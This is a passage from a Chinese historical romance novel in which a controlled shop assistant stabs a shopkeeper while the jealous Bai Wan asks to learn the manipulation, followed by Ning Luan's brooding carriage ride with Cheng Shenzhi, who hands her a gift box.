手握剪刀,脸上带着诡异的狞笑,再次刺进那掌柜的胸口。柜台瞬间血色漫天,鲜血喷溅到一旁的账目上,晕出触目惊心的红梅。
掌柜满脸惊恐,连连互救,却已是支撑不起,颤抖着半跪倒地。那小厮恍若未见,手握剪刀立在原地,恍若怔然。
刚进门的散客亦是尖叫不断,纷纷奔涌逃出铺门,引得街上一阵混乱。
白挽眼见此情此景,不由倒吸一口凉气,她抬手捂住双唇,眼中却迸发病态而渴望的光。
她不是没见过血,可未曾想过会以这种方式再现。
人心,竟是如此轻易就被操控。
她看向慕达莎,方才还千娇百媚的美人蛇,此刻正面无表情地打量这一切。
白挽打了个寒颤,身体却不由自主地前倾,声音因兴奋而颤抖:
“教我……快教我!”
她仿佛已经看见程慎之那双深邃的眼眸中,唯独映着她一人的痴情模样。
……
铜雀烛台的灯火逐渐暗淡,拍卖会上的喧嚣气氛如潮水般退去。
时鸿几人跟随着熙熙攘攘的人群,缓步走出拍卖会场。珍宝阁内还剩零星宾客,不死心的在展柜间徘徊寻觅,似盼能寻得意外之喜。
夜色沉沉,王府的马车早已静候在望春楼外。送别时鸿后,程慎之和宁鸾在车厢之内并肩而坐。二人坐姿端正疏离,一时再无别话。
马车驶离了闹市,远离了喧嚣,拐进一条狭窄的小巷。四周只剩车轮碾过石板的轻微声响,在沉寂的夜里显得分外清晰。
“那支镶红宝石的鸾鸟金簪,你分明喜欢。”程慎之无意识捻着袖口花纹,忽然开口,“为何不让我继续加价?”
宁鸾默了一瞬,偏头望向车窗外晃动的帘隙,“价抬得太高,反而失了本来的意味。”
车帘晃动,漏进街坊悬挂的朦胧光亮。不知怎的,宁鸾竟想起那日在镇南王府门外惊鸿一瞥,纱轿被风吹得扬起,异族美人立于轿前,清丽出尘。
而程慎之立在一旁,眉目间若有若无的温柔,刺得她眼底发酸。
精心订制的小轿,专人挑选的服饰……若只为报恩,又何必如此张扬?
更何况,册封镇南王后,圣上所赐的金银,足以在京州另置宅院,安置十个白挽也绰绰有余。又何必非要将人接入府中,朝夕相对?
终究,是因为在意吧。
正因放在心上,才要如此高调地迎她回来。正因放在心上,才会对她的去留这般费心。
宁鸾自知钻了牛角尖,毕竟望春楼的基业尚可凭她一己之力挣来,沙场上的瞬息万变、刀枪无眼,却只能听天由命。
白挽父女的救命之恩重于泰山,便是如何高调迎接也不为过。
程慎之能活着,已让她觉得如释重负。可真当这人就在眼前,她又不敢将真心轻易捧出,随意任人肆意践踏。
白挽,白挽……?
他们两人之间,何止相隔一个白挽。
他们的姻缘,本就是皇权臣子之间的博弈。
待他日,程慎之不再需要朝中支持,她也对丞相府大仇得报,两人再无束缚,这段婚姻也自然该迎来终结之时。
到那时,不管白挽是入主正院,还是另起府邸,都与她宁鸾再无干系。
宁鸾控制不住地翻滚思绪,只有想到望春楼能让她安心几分。
“这个,送你。”
程慎之丝毫未察觉她心中的波涛汹涌。他犹豫再三,终是从怀中掏出一只温润的锦盒。蜀锦盒面上绣着金鸾朝凤的图案,在微光下折射出独有的光辉,华美异常。
“我觉得,它很适合你。”
他动作带着几分迟疑,像是终于鼓足了勇气,才那方锦盒缓缓托至宁鸾面前。